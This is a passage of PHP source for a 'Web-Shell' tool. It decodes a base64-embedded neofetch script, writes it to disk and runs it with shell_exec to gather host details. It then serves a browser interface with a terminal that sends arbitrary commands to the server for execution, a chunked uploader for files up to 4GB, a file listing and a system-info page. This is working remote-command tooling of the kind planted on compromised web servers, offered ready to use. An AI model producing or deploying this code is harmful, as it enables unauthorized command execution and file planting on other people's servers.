gICAgICx4Tk1NLgogICAgICAgICAgICAgICAuT01NTU1vCiAgICAgICAgICAgICAgIGxNTU0iCiAgICAgLjtsb2RkbzouICAub2xsb2Rkb2w7LgogICBjS01NTU1NTU1NTU1OV01NTU1NTU1NTU0wOgoke2MyfSAuS01NTU1NTU1NTU1NTU1NTU1NTU1NTU1NV2QuCiBYTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1YLgoke2MzfTtNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU06CjpNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU06CiR7YzR9Lk1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTVguCiBrTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NV2QuCiAke2M1fSdYTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1rCiAgJ1hNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1LLgogICAgJHtjNn1rTU1NTU1NTU1NTU1NTU1NTU1NTU1NTWQKICAgICA7S01NTU1NTU1XWFhXTU1NTU1NTWsuCiAgICAgICAiY29vYyoiICAgICIqY29vJyIKRU9GCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICJHTlUiKikKICAgICAgICAgICAgICAgICAgICBzZXRfY29sb3JzIGZnIDcKICAgICAgICAgICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgXy1gYGBgYC0sICAgICAgICAgICAsLSAnLSAuCiAgLicgICAuLSAtIHwgICAgICAgICAgfCAtIC0uICBgLgogLy4nICAvICAgICAgICAgICAgICAgICAgICAgYC4gICBcCjovICAgOiAgICAgIF8uLi4gICAuLi5fICAgICAgYGAgICA6Cjo6ICAgOiAgICAgLy5fIC5gOidfLi5fXC4gICAgfHwgICA6Cjo6ICAgIGAuXyAuLyAgLGAgIDogICAgXCAuIF8uJycgICAuCmA6LiAgICAgIC8gICB8ICAtLiAgXC0uIFxcXyAgICAgIC8KICBcOi5fIF8vICAuJyAgIC5AKSAgXEApIGAgYFwgLC4nCiAgICAgXy8sLS0nICAgICAgIC4tIC5cLC0uYC0tYC4KICAgICAgICwnLycnICAgICAoKCBcIGAgICkKICAgICAgICAvJy8nICBcICAgIGAtJyAgKAogICAgICAgICAnLycnICBgLl8sLS0tLS0nCiAgICAgICAgICAnJy8nICAgIC4sLS0tJwogICAgICAgICAgICcnLycgICAgICA7OgogICAgICAgICAgICAgJycvJycgICcnLwogICAgICAgICAgICAgICAnJy8nJy8nJwogICAgICAgICAgICAgICAgICcvJy8nCiAgICAgICAgICAgICAgICAgIGA7CkVPRgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAiTGludXgiKQogICAgICAgICAgICAgICAgICAgIHNldF9jb2xvcnMgZmcgOCAzCiAgICAgICAgICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgICAgICAjIyMjIwoke2MyfSAgICAgICAjIyMjIyMjCiR7YzJ9ICAgICAgICMjJHtjMX1PJHtjMn0jJHtjMX1PJHtjMn0jIwoke2MyfSAgICAgICAjJHtjM30jIyMjIyR7YzJ9Iwoke2MyfSAgICAgIyMke2MxfSMjJHtjM30jIyMke2MxfSMjJHtjMn0jIwoke2MyfSAgICAjJHtjMX0jIyMjIyMjIyMjJHtjMn0jIwoke2MyfSAgICMke2MxfSMjIyMjIyMjIyMjIyR7YzJ9IyMKJHtjMn0gICAjJHtjMX0jIyMjIyMjIyMjIyMke2MyfSMjIwoke2MzfSAgIyMke2MyfSMke2MxfSMjIyMjIyMjIyMjJHtjMn0jIyR7YzN9Iwoke2MzfSMjIyMjIyR7YzJ9IyR7YzF9IyMjIyMjIyR7YzJ9IyR7YzN9IyMjIyMjCiR7YzN9IyMjIyMjIyR7YzJ9IyR7YzF9IyMjIyMke2MyfSMke2MzfSMjIyMjIyMKJHtjM30gICMjIyMjJHtjMn0jIyMjIyMjJHtjM30jIyMjIwpFT0YKICAgICAgICAgICAgICAgIDs7CiAgICAgICAgIlByb2ZlbGlzIFNhbWJhQk9YIiogfCAiU2FtYmFCT1giKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9CiAgICAgICAgICAgICAgICAgICAgIwogICAgICAgICAgICAgICAqLy8vLyMjIyMjCiAgICAgICAgICAgLy8vLy8vLy8vIyMjIyMjIyMjKAogICAgICAuKCgoKCgoLy8vLy8gICAgLCMjIyMoIygoKCgoCiAgLyMjIyMjIyMoKCgqICAgICAgICAgICAgICgjKCgoKCgoKCgoLgovLygoIygjKCMsICAgICAgICAoKCMjKCAgICAgICAgLCgoKCgoKC8vCi8vLy8vLyAgICAgICAgIygjIyMjIyMjIyMjKCAgICAgICAvLy8vLy8KLy8vLy8vICAgICgoIygjKCMoIygjIyMjIyMjIyMjKC8vLy8vLy8vLwovLy8vLyggICAgKCgoKCgoKCMjIyMjIyMjIygjIygoKCgoKC8vLy8vCi8oKCgjKCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKCgoKC8KIyMjIygjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoKCMjIwojIyMjIyMjIyMoKCgvLy8vLy8vLy8oKCgoKCgoKCgsICAgICgjKCMoCiMjIyMjIyMjKCAgIC8vLy8vLy8vLygoKCgoKCgqICAgICAgIyMjIyMKIyMjIy8vLywgICAgICAgICovLy8vKCgoICAgICAgICAgKCgoKCgoKAouLy8vLy8vLy8vLy8gICAgICAgICAgICAgICAgLi8vKCgoKCgoKCgoCiAgICAgLy8vLy8vLy8vLy8sICAgICAgICooLy8vLy8oKCgoKgogICAgICAgICAsLygoKCgoKCgoKCMjIyMjIyMjIyMvLgogICAgICAgICAgICAgLigoKCgoKCMjIyMjIyMKICAgICAgICAgICAgICAgICAgKCgjIyoKRU9GCiAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAiU3VuT1MiKQogICAgICAgICAgICAgICAgICAgIHNldF9jb2xvcnMgMyA3CiAgICAgICAgICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICBgLSAgICAgYAogICAgICAgICAgYC0tICAgIGArLSAgICAuOgogICAgICAgICAgIC4rOiAgYCsrOiAgLS8rLSAgICAgLgogICAgYC46OmAgIC0rKy9gYDo6OmAuLysvICBgLi0vLgogICAgICBgKysvLWAuYCAgICAgICAgICBgIC8rKzpgCiAgYGAgICAuLzpgICAgICAgICAgICAgICAgIC46IGAuLmAuLQpgYC4vKy86LSAgICAgICAgICAgICAgICAgICAgIC0rKys6LQogICAgLS8rYCAgICAgICAgICAgICAgICAgICAgICA6LgpFT0YKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgIklSSVgiKikKICAgICAgICAgICAgICAgICAgICBzZXRfY29sb3JzIDQgNwogICAgICAgICAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgLi9vaG1OZC8gICtkTm1oby8tCiAgICAgYDoreWROTU1NTU1NTU0uLU1NTU1NTU1NTWR5bzouCiAgIGBoTU1NTU1NTmhzL3NNTU0tOk1NTSsvc2hOTU1NTU1NaGAKICAgLU5NTU1NTW1vLWAgL01NTS0vTU1NLSBgLW9tTU1NTU1OLgogYC5gLStoTk1NTU1NTmh5TU1NLS9NTU1zaG1NTU1NTW15Ky4uLmAKK21NTmRzOi06c2ROTU1NTU1NTXl5TU1NTU1NTU5kbzouOnNkTU1tKwpkTU1NTU1NbXkrLi0veW1OTU1NTU1NTU1ObXkvLS4raG1NTU1NTU1kCm9NTU1NbU1NTU1OZHM6LitNTU1tbU1NTi8uLW9kTk1NTU1tTU1NTSsKLk1NTU0tL3ltTU1NTU1tTk1NeS4uaE1NTm1NTU1NTW15Ly1NTU1NLgogaE1NTS8gYC9kTU1NTU1NTU4vLy8vTk1NTU1NTU1kLy4gL01NTWgKIC9NTU1kaG1NTU1teXlNTU1NTU1NTU1NTU1oeW1NTU1taGRNTU06CiBgbU1NTU1OaG8vL3NkTU1NTU0vL05NTU1NbXMvL29oTk1NTU1kCiAgYC9zby86K3ltTU1NTk1NTU1gIG1NTU1NTU1NbWgrOjorby9gCiAgICAgYHlOTU1OaG8teU1NTU1gIE5NTU1tLitoTk1NTmhgCiAgICAgLU1NTU1kOiAgb01NTU0uIE5NTU1oICA6aE1NTU0tCiAgICAgIC15Tk1NTW1vb01NTU0tIE5NTU15b21NTU1OeS0KICAgICAgICAub21NTU1NTU1NTS1gTk1NTU1NTU1tby4KICAgICAgICAgIGA6aE1NTU1NTS4gTk1NTU1NaC9gCiAgICAgICAgICAgICAub2RObSsgIC9kTm1zLgpFT0YKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICBlc2FjCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICAjIE92ZXJ3cml0ZSBkaXN0cm8gY29sb3JzIGlmICckYXNjaWlfY29sb3JzJyBkb2Vzbid0CiAgICAjIGVxdWFsICdkaXN0cm8nLgogICAgW1sgJHthc2NpaV9jb2xvcnNbMF19ICE9IGRpc3RybyBdXSAmJiB7CiAgICAgICAgY29sb3JfdGV4dD1vZmYKICAgICAgICBzZXRfY29sb3JzICIke2FzY2lpX2NvbG9yc1tAXX0iCiAgICB9Cn0KCm1haW4oKSB7CiAgICBjYWNoZV91bmFtZQogICAgZ2V0X29zCgogICAgIyBMb2FkIGRlZmF1bHQgY29uZmlnLgogICAgZXZhbCAiJGNvbmZpZyIKCiAgICBnZXRfYXJncyAiJEAiCiAgICBbWyAkdmVyYm9zZSAhPSBvbiBdXSAmJiBleGVjIDI+L2Rldi9udWxsCiAgICBnZXRfc2ltcGxlICIkQCIKICAgIGdldF9kaXN0cm8KICAgIGdldF9ib2xkCiAgICBnZXRfZGlzdHJvX2FzY2lpCiAgICBbWyAkc3Rkb3V0ID09IG9uIF1dICYmIHN0ZG91dAoKICAgICMgTWluaXggZG9lc24ndCBzdXBwb3J0IHRoZXNlIHNlcXVlbmNlcy4KICAgIFtbICRURVJNICE9IG1pbml4ICYmICRzdGRvdXQgIT0gb24gXV0gJiYgewogICAgICAgICMgSWYgdGhlIHNjcmlwdCBleGl0cyBmb3IgYW55IHJlYXNvbiwgdW5oaWRlIHRoZSBjdXJzb3IuCiAgICAgICAgdHJhcCAncHJpbnRmICJcZVs/MjVoXGVbPzdoIicgRVhJVAoKICAgICAgICAjIEhpZGUgdGhlIGN1cnNvciBhbmQgZGlzYWJsZSBsaW5lIHdyYXAuCiAgICAgICAgcHJpbnRmICdcZVs/MjVsXGVbPzdsJwogICAgfQoKICAgIGltYWdlX2JhY2tlbmQKICAgIGdldF9jYWNoZV9kaXIKICAgIG9sZF9mdW5jdGlvbnMKICAgIHByaW50X2luZm8KICAgIGR5bmFtaWNfcHJvbXB0CgogICAgIyB3M20taW1nOiBEcmF3IHRoZSBpbWFnZSBhIHNlY29uZCB0aW1lIHRvIGZpeAogICAgIyByZW5kZXJpbmcgaXNzdWVzIGluIHNwZWNpZmljIHRlcm1pbmFsIGVtdWxhdG9ycy4KICAgIFtbICRpbWFnZV9iYWNrZW5kID09ICp3M20qIF1dICYmIGRpc3BsYXlfaW1hZ2UKICAgIFtbICRpbWFnZV9iYWNrZW5kID09ICp1ZWJlcnp1ZyogXV0gJiYgZGlzcGxheV9pbWFnZQoKICAgICMgQWRkIG5lb2ZldGNoIGluZm8gdG8gdmVyYm9zZSBvdXRwdXQuCiAgICBlcnIgIk5lb2ZldGNoIGNvbW1hbmQ6ICQwICQqIgogICAgZXJyICJOZW9mZXRjaCB2ZXJzaW9uOiAkdmVyc2lvbiIKCiAgICBbWyAkdmVyYm9zZSA9PSBvbiBdXSAmJiBwcmludGYgJyViXDAzM1ttJyAiJGVyciIgPiYyCgogICAgIyBJZiBgLS1sb29wYCB3YXMgdXNlZCwgY29uc3RhbnRseSByZWRyYXcgdGhlIGltYWdlLgogICAgd2hpbGUgW1sgJGltYWdlX2xvb3AgPT0gb24gJiYgJGltYWdlX2JhY2tlbmQgPT0gdzNtIF1dOyBkbwogICAgICAgIGRpc3BsYXlfaW1hZ2UKICAgICAgICBzbGVlcCAxCiAgICBkb25lCgogICAgcmV0dXJuIDAKfQoKbWFpbiAiJEAiCg==";
file_put_contents('neofetch.sh', base64_decode($neofetch_shell));
$neofetch = shell_exec('bash neofetch.sh --stdout');
if (!!$neofetch) {
$neofetch_data = explode("\n", trim($neofetch));
$uh_data = explode('@', trim($neofetch_data[0]));
$username = $uh_data[0];
$hostname = $uh_data[1];
unset($neofetch_data[0], $neofetch_data[1]);
$info[] = ['title'=> 'Username', 'info'=> $username];
$info[] = ['title'=> 'Hostname', 'info'=> $hostname];
foreach ($neofetch_data as $key => $value) {
$data = explode(':', $value);
$info[] = ['title'=> trim($data[0]), 'info'=> trim($data[1])];
}
echo json_encode(['status'=> true, 'key'=> $_SESSION['key'], 'info'=> $info]);
} else {
echo json_encode(['status'=> false, 'key'=> $_SESSION['key'], 'info'=> null]);
}
return;
}
} else {
echo json_encode(['status'=> false, 'key'=> null]);
// http_response_code(401);
}
return;
}
$html = "
<!DOCTYPE html>
<html lang='en'>
<head>
<meta charset='UTF-8'/>
<meta http-equiv='X-UA-Compatible' content='IE=edge'/>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title> Web-Shell </title>
<meta name='authenticity_token' content='{{ key }}'/>
<meta name='viewport' content='width=device-width, initial-scale=1.0'/>
<style type='text/css'>{{ style.main }}</style>
<meta name='color-scheme' content='dark'/>
<meta name='theme-color' content='dark'/>
</head>
<body route='hide'>
<header id='topbar' class='no-select'>
<button id='back-home'>
<svg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 512 512'><title>Back</title><polyline points='244 400 100 256 244 112' style='fill:none;stroke:#7d8590;stroke-linecap:round;stroke-linejoin:round;stroke-width:48px'/><line x1='120' y1='256' x2='412' y2='256' style='fill:none;stroke:#7d8590;stroke-linecap:round;stroke-linejoin:round;stroke-width:48px'/></svg>
</button>
<div id='title'>
<span class='main'>Web-Shell</span>
<span class='terminal'>Terminal</span>
<span class='upload'>Upload</span>
<span class='files'>Files</span>
<span class='info'>Info</span>
</div>
<button id='open-files'>
<svg version='1.1' viewBox='0 0 20 16' width='22px' height='20px' xmlns='http://www.w3.org/2000/svg' xmlns:sketch='http://www.bohemiancoding.com/sketch/ns' xmlns:xlink='http://www.w3.org/1999/xlink'><title>Open Files</title><g fill='none' fill-rule='evenodd' stroke='none' stroke-width='1'><g fill='#7d8590' transform='translate(-44.000000, -256.000000)'><g transform='translate(44.000000, 256.000000)'><path d='M8,0 L2,0 C0.9,0 0,0.9 0,2 L0,14 C0,15.1 0.9,16 2,16 L18,16 C19.1,16 20,15.1 20,14 L20,4 C20,2.9 19.1,2 18,2 L10,2 L8,0 L8,0 Z'/></g></g></g></svg>
</button>
</header>
<section id='main' class='no-select'>
<button id='open-terminal' class='open-btn'>Terminal</button>
<button id='open-upload' class='open-btn'>Upload File</button>
<button id='open-info' class='open-btn'>Information</button>
</section>
<section id='terminal'>
<pre id='web-terminal'></pre>
</section>
<section id='upload'>
<div id='uploading'>
<p class='status-upload no-select'></p>
<div id='progress-bars'></div>
<button class='done hide'>Done</button>
</div>
<p class='msg-box alert no-select' style='margin-bottom: 8px;'>max size is 4GB</p>
<form data-turbo='false' action='#/upload' accept-charset='UTF-8' method='post' class='no-select'>
<svg aria-hidden='true' viewBox='0 0 24 24' version='1.1' width='32' height='32' data-view-component='true'><path d='M3 3a2 2 0 0 1 2-2h9.982a2 2 0 0 1 1.414.586l4.018 4.018A2 2 0 0 1 21 7.018V21a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v18a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5V8.5h-4a2 2 0 0 1-2-2v-4Zm10 0v4a.5.5 0 0 0 .5.5h4a.5.5 0 0 0-.146-.336l-4.018-4.018A.5.5 0 0 0 15 2.5Z'></path></svg>
<p class='file-upload-drag-text'> Drag files here </p>
<p class='file-upload-drop-text'>Drop to upload your files</p>
<p class='file-upload-choose-text'>
Or
<label for='upload-manifest-files-input' class='file-upload-choose no-select'>
<span> choose your files </span>
<input type='file' multiple='' name='file' id='upload-manifest-files-input' class='manual-file-chooser' autocomplete='off' aria-label='Choose your files'>
</label>
</p>
</form>
</section>
<section id='files'>
<pre class='data'></pre>
</section>
<section id='info'>
<div class='container'></div>
</section>
<script type='text/javascript' src='https://cdn.jsdelivr.net/npm/jquery'></script>
<script type='text/javascript' src='https://cdnjs.cloudflare.com/ajax/libs/jquery.terminal/2.39.0/js/jquery.terminal.min.js'></script>
<script type='text/javascript'>{{ js.main }}</script>
</body>
</html>
";
$js = "
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
const formatBytes = (bytes, decimals=2) => {
const units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
if (!+bytes) return '0B';
let i = 0;
for (i; bytes >= 1024; i++) bytes /= 1024;
const dm = bytes % 1 === 0 ? 0 : decimals;
return `\${bytes.toFixed(dm)}\${units[i]}`;
};
const main = event => {
const get_key = () => document.head.querySelector('meta[name=\'authenticity_token\']').getAttribute('content');
const set_key = key => document.head.querySelector('meta[name=\'authenticity_token\']').setAttribute('content', key);
const update_file_list = (check=true) => {
let route = localStorage.getItem('route');
if (!check) route = 'files';
if (route == 'files') {
const formData = new FormData();
formData.append('key', get_key());
formData.append('get_files_list', 'true');
fetch(location.href, { method: 'POST', body: formData })
.then(response => response.json())
.then(data => {
if (data.key !== null) set_key(data.key);
else {
alert('to prevent CSRF/XSRF attacks, we\'ll reload the page.');
location.reload();
};
if (data.status) {
const content = document.querySelector('#files pre');
content.textContent = data.text;
};
}).catch(err => {});
};
};
const update_info_list = (check=true) => {
let route = localStorage.getItem('route');
if (!check) route = 'info';
if (route == 'info') {
const formData = new FormData();
formData.append('key', get_key());
formData.append('get_info', 'true');
fetch(location.href, { method: 'POST', body: formData })
.then(response => response.json())
.then(data => {
if (data.key !== null) set_key(data.key);
else {
alert('to prevent CSRF/XSRF attacks, we\'ll reload the page.');
location.reload();
};
if (data.status) {
const content = document.querySelector('#info .container');
content.innerHTML = '';
data.info.forEach(row => {
const box = document.createElement('div');
box.classList.add('data');
const title = document.createElement('span');
title.textContent = row.title + ':';
title.classList.add('title');
box.appendChild(title);
const info = document.createElement('span');
info.textContent = row.info;
info.classList.add('info');
box.appendChild(info);
content.appendChild(box);
});
};
}).catch(err => {});
};
};
const setRoute = (route, check=true) => {
const is_uploading = !!document.querySelector('#upload').getAttribute('uploading');
const upload_is_done = document.querySelector('#uploading .done').classList.contains('hide');
if (check && is_uploading && upload_is_done) {
set_key(get_key());
setRoute('upload', false);
const cancel_upload = !confirm('Upload is in progress...\\nContinue uploading?');
setRoute(cancel_upload ? route : 'upload', false);
if (cancel_upload) location.reload();
return;
}
if (route == 'files') update_file_list(false);
if (route == 'info') update_info_list(false);
document.head.querySelector('title').textContent = document.querySelector(`#title > .\${route}`).textContent;
document.body.setAttribute('route', route);
localStorage.setItem('route', route);
};
// Router
(function(ev) {
let route = localStorage.getItem('route');
setRoute((route == 'terminal' || route == 'upload' || route == 'files' || route == 'info') ? route : 'main');
window.addEventListener('storage', ev => setRoute((ev.key == 'route' && (ev.newValue == 'terminal' || ev.newValue == 'upload' || ev.newValue == 'files' || ev.newValue == 'info')) ? ev.newValue : 'main'));
document.querySelector('#back-home').onclick = ev => setRoute(localStorage.getItem('route') == 'files' ? 'upload' : 'main');
document.querySelector('#open-terminal').onclick = ev => setRoute('terminal');
document.querySelector('#open-upload').onclick = ev => setRoute('upload');
document.querySelector('#open-files').onclick = ev => setRoute('files');
document.querySelector('#open-info').onclick = ev => setRoute('info');
})(event);
/* Web-Terminal */
(function() {
helper = '\\n[[;orange;] Avoid using interactive commands!]\\n\\n[[;gray;] Reverse history search (CTRL+R)] \\n';
$('#web-terminal').terminal(function(command, term) {
if (command.trim() !== '') {
if (command == 'exit') {
document.querySelector('#back-home').click();
term.reset();
} else if (command == 'clear') {
term.clear();
term.echo(helper);
} else {
const formData = new FormData();
formData.append('key', get_key());
formData.append('cmd', command.trim());
fetch(location.href, { method: 'POST', body: formData })
.then(response => response.json())
.then(data => {
if (data.key !== null) set_key(data.key);
else {
alert('to prevent CSRF/XSRF attacks, we\'ll reload the page.');
location.reload();
};
const result = data.output;
if (data.status) {
term.echo(result);
} else {
term.echo(`[[;red;] \${result}]`);
};
}).catch(err => {
term.echo(!!navigator.onLine ? 'fetch failed' : 'You\'re offline');
});
}
}
}, {
name: 'terminal',
greetings: helper,
prompt: '\$ ',
wrap: true,
// memory: true,
anyLinks: false,
scrollOnEcho: true,
convertLinks: false,
linksNoReferer: true,
autocompleteMenu: false,
wordAutocomplete: false,
processArguments: false,
historySize: 256 * 4,
pauseEvents: false,
checkArity: false,
clear: false,
exit: false,
onExit: () => {},
onPop: () => {}
});
})();
const upload_file = (file, url, chunk_size) => {
const max_size = 4 * 1024 ** 3; // 4GB
const best_size = 2 * 1024 ** 2; // 2MB
return new Promise(resolve => {
const new_progress = (name, size) => {
const box = document.querySelector('#progress-bars');
const progress = document.createElement('div');
progress.classList.add('progress');
const desc = document.createElement('p');
desc.classList.add('progress-desc');
const progress_title = document.createElement('p');
progress_title.classList.add('progress-title');
progress_title.textContent = name;
const file_size = document.createElement('span');
file_size.classList.add('file-size', 'no-select');
file_size.textContent = formatBytes(size, 1);
desc.append(progress_title);
desc.append(file_size);
box.append(desc);
box.append(progress);
return {
set_bar: bar => {
progress.setAttribute('style', `--bar: \${bar}%`);
progress.setAttribute('title', `\${bar}%`);
},
success: () => {
progress.setAttribute('style', `--bar: 100%`);
progress.setAttribute('title', `100%`);
resolve();
},
failed: () => {
progress.setAttribute('style', `--fill: #d29922;--bar: 100%`);
progress.setAttribute('title', `0%`);
resolve();
},
error: () => {
progress.setAttribute('style', `--fill: #da3633;--bar: 100%`);
progress.setAttribute('title', `0%`);
resolve();
}
};
};
const upload_progress = new_progress(file.name, file.size);
if (file.size > max_size) upload_progress.failed();
else if (file.size <= best_size) {
const formData = new FormData();
formData.append('upload', file);
formData.append('key', get_key());
fetch(url, { method: 'POST', body: formData })
.then(response => response.json())
.then(data => {
if (data.key !== null) set_key(data.key);
else {
alert('to prevent CSRF/XSRF attacks, we\'ll reload the page.');
location.reload();
}
if (data.status) {
upload_progress.success();
resolve();
} else upload_progress.error('status-error');
})
.catch(error => upload_progress.error(error));
} else {
var reader = new FileReader();
const _uploadChunk = (file, offset, range) => {
// if no more chunks, send EOF
if(offset >= file.size) {
sleep(1000).then(() => {
$.post(url, {
upload_big_file: true,
filename: file.name,
key: get_key(),
eof: true
})
.done(text_data => {
const data = JSON.parse(text_data);
if (data.key !== null) set_key(data.key);
else {
alert('to prevent CSRF/XSRF attacks, we\'ll reload the page.');
location.reload();
}
upload_progress.success();
})
.fail(error => upload_progress.error(error))
});
return;
};
// prepare reader with an event listener
reader.addEventListener('load', ev => {
var index = offset / chunk_size;
var data = ev.target.result;
// build payload with indexed chunk to be sent
var payload = {
upload_big_file: true,
key: get_key(),
filename: file.name,
index: index,
data: data,
};
// send payload, and buffer next chunk to be uploaded
$.post(url, payload)
.done(text_data => {
const data = JSON.parse(text_data);
upload_progress.set_bar(parseInt(index / parseInt(file.size / range) * 100));
if (data.key !== null) set_key(data.key);
else {
alert('to prevent CSRF/XSRF attacks, we\'ll reload the page.');
location.reload();
};
if (data.status) {
_uploadChunk(file, offset + range, chunk_size);
} else upload_progress.error('status-error');
})
.fail(error => upload_progress.error(error));
}, {once: true}); // register as a once handler!
// chunk and read file data
var chunk = file.slice(offset, offset + range);
reader.readAsDataURL(chunk);
};
_uploadChunk(file, 0, chunk_size);
};
});
};
document.querySelector('#uploading .done').onclick = ev => {
document.querySelector('#uploading .done').classList.add('hide');
document.querySelector('#upload').removeAttribute('uploading');
document.querySelector('#progress-bars').innerHTML = '';
document.querySelector('#uploading .status-upload').innerHTML = '';
};
let uploaded_file_length = 0;
const upload_files = files => {
if (files.length == 0) return false;
const file = files[uploaded_file_length];
var chunk_size = 2 * 1024 ** 2; // 2MB
var url = location.href;
document.querySelector('#upload').setAttribute('uploading', 'true');
document.querySelector('#uploading .status-upload').textContent = `Uploading \${uploaded_file_length} of \${files.length} files`;
upload_file(file, url, chunk_size).then(() => {
uploaded_file_length++;
document.querySelector('#uploading .status-upload').textContent = `Uploading \${uploaded_file_length} of \${files.length} files`;
if (files.length === uploaded_file_length) {
sleep(500).then(() => {
document.querySelector('#uploading .status-upload').textContent = 'All files uploaded.';
document.querySelector('#uploading .done').classList.remove('hide');
});
uploaded_file_length = 0;
} else {
sleep(uploaded_file_length * 100).then(() => upload_files(files));
};
});
};
// Uploader
(function() {
const form = document.querySelector('#upload form');
const files_input = document.querySelector('#upload-manifest-files-input');
const preventDrag = (ev, val) => {
// Prevent default behavior (Prevent file from being opened)
ev.preventDefault();
if (!!val) form.setAttribute('drag', 'true');
else form.removeAttribute('drag');
};
form.addEventListener('dragover', ev => preventDrag(ev, true));
form.addEventListener('dragleave', ev => preventDrag(ev, false));
form.addEventListener('drop', ev => {
preventDrag(ev, false);
if (ev.dataTransfer.items) {
// Use DataTransferItemList interface to access the file(s)
const items = ev.dataTransfer.items;
let files = [];
Array.from(items).forEach(item => {
if (item.kind === 'file') {
const file = item.getAsFile();
files.push(file);
}
});
upload_files(files);
} else {
// Use DataTransfer interface to access the file(s)
const files = Array.from(ev.dataTransfer.files);
upload_files(files);
};
});
form.addEventListener('change', ev => {
if (files_input.files.length > 0) {
const files = Array.from(files_input.files);
upload_files(files);
} else form.reset();
});
form.addEventListener('submit', ev => ev.preventDefault());
})();
setInterval(update_file_list, 2000);
setInterval(update_info_list, 20000);
};
document.addEventListener('DOMContentLoaded', main);
";
$css = "
@import url('https://fonts.googleapis.com/css2?family=Poppins');
@import url('https://fonts.googleapis.com/css?family=Droid+Sans+Mono');
@import url('https://cdnjs.cloudflare.com/ajax/libs/jquery.terminal/2.39.0/css/jquery.terminal.min.css');
@font-face {
font-display: block;
font-family: 'Droid Sans Mono';
src: url('?font=droid-sans-mono.ttf');
}
html {
color-scheme: dark;
position: relative;
}
body {
position: absolute;
transition: top ease-in-out 200ms;
top: 0;
left: 0;
right: 0;
width: 100vw;
min-height: 100vh;
background: #1e1e20;
color: #dbe3df;
display: flex;
align-items: flex-start;
align-content: flex-start;
justify-content: flex-start;
flex-flow: column nowrap;
font-family: 'Droid Sans Mono', 'Space Mono', 'monospace', monospace, sans-serif;
font-size: 16px;
overflow: hidden;
}
* {
margin: 0;
padding: 0;
outline: none;
border: 0;
box-sizing: border-box;
}
.no-select {
user-select: none;
-webkit-user-select: none;
-webkit-touch-callout: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
-o-user-select: none;
}
.hide {
display: none !important;
}
::selection {
background-color: #424852;
border: 1px solid #5c636e;
}
@media only screen and (min-width: 500px) {
#topbar {
background-color: transparent !important;
border: none !important;
}
#title {
display: none;
}
}
#topbar {
width: 100%;
height: 56px;
padding: 16px 16px 8px;
display: flex;
flex-flow: row nowrap;
justify-content: center;
align-content: center;
background: #18181c;
border-bottom: 1px solid #e5e7eb15;
position: relative;
}
body[route='hide'] * {
display: none !important;
}
#back-home{
position: absolute;
left: 16px;
width: 25px;
height: 25px;
border-radius: 50px;
background-color: transparent;
transition: transform ease-in-out 280ms, opacity ease-in-out 200ms;
}
#back-home:hover,
#open-files:hover {
cursor: pointer;
opacity: 0.9;
}
body[route='main'] #back-home,
body:not([route='upload']) #open-files {
transform: scale(0) rotate(45deg);
}
#open-files {
position: absolute;
right: 17px;
width: 25px;
height: 25px;
background-color: transparent;
transition: transform ease-in-out 280ms, opacity ease-in-out 200ms;
}
body:not([route='main']) #main,
body:not([route='terminal']) #terminal,
body:not([route='upload']) #upload,
body:not([route='files']) #files,
body:not([route='info']) #info {
display: none;
}
#topbar #title span {
background: transparent !important;
color: #cad3de;
font-weight: 400;
font-size: 18px;
}
body:not([route='main']) #topbar #title .main,
body:not([route='terminal']) #topbar #title .terminal,
body:not([route='upload']) #topbar #title .upload,
body:not([route='files']) #topbar #title .files,
body:not([route='info']) #topbar #title .info {
display: none;
}
#main, #terminal, #upload, #files, #info {
width: 100vw;
height: calc(100vh - 57px);
}
#main {
display: flex;
flex-flow: column nowrap;
align-items: center;
justify-content: center;
align-content: center;
transition: height ease-in-out 200ms;
}
#main .open-btn {
min-width: 320px;
max-width: calc(100vw - 32px);
background-color: #22282f;
border-radius: 6px;
padding: 12px 16px;
margin: 8px;
text-align: center;
font-size: 16.2px;
color: #787a7d;
transition: background-color ease-in-out 100ms, color ease 120ms;
}
#main .open-btn:hover {
background-color: #292f36;
color: #f0f6fc;
cursor: pointer;
}
#web-terminal {
width: 100%;
height: 100%;
}
#upload {
display: flex;
flex-flow: column nowrap;
justify-content: center;
align-items: center;
font-family: 'Poppins', poppins, sans-serif;
}
#upload form {
width: calc(100% - 32px);
max-width: 650px;
min-height: 320px;
display: flex;
flex-flow: column nowrap;
justify-content: center;
align-items: center;
border: 1px solid #30363d;
border-radius: 6px;
text-align: center;
}
#upload form[drag='true'] {
border: 2px dashed #30363d;
}
#upload form[drag='true'] .file-upload-drag-text,
#upload form[drag='true'] .file-upload-choose-text {
display: none;
}
#upload form svg {
margin-bottom: 1rem;
fill: #7d8590;
}
#upload form .file-upload-drag-text,
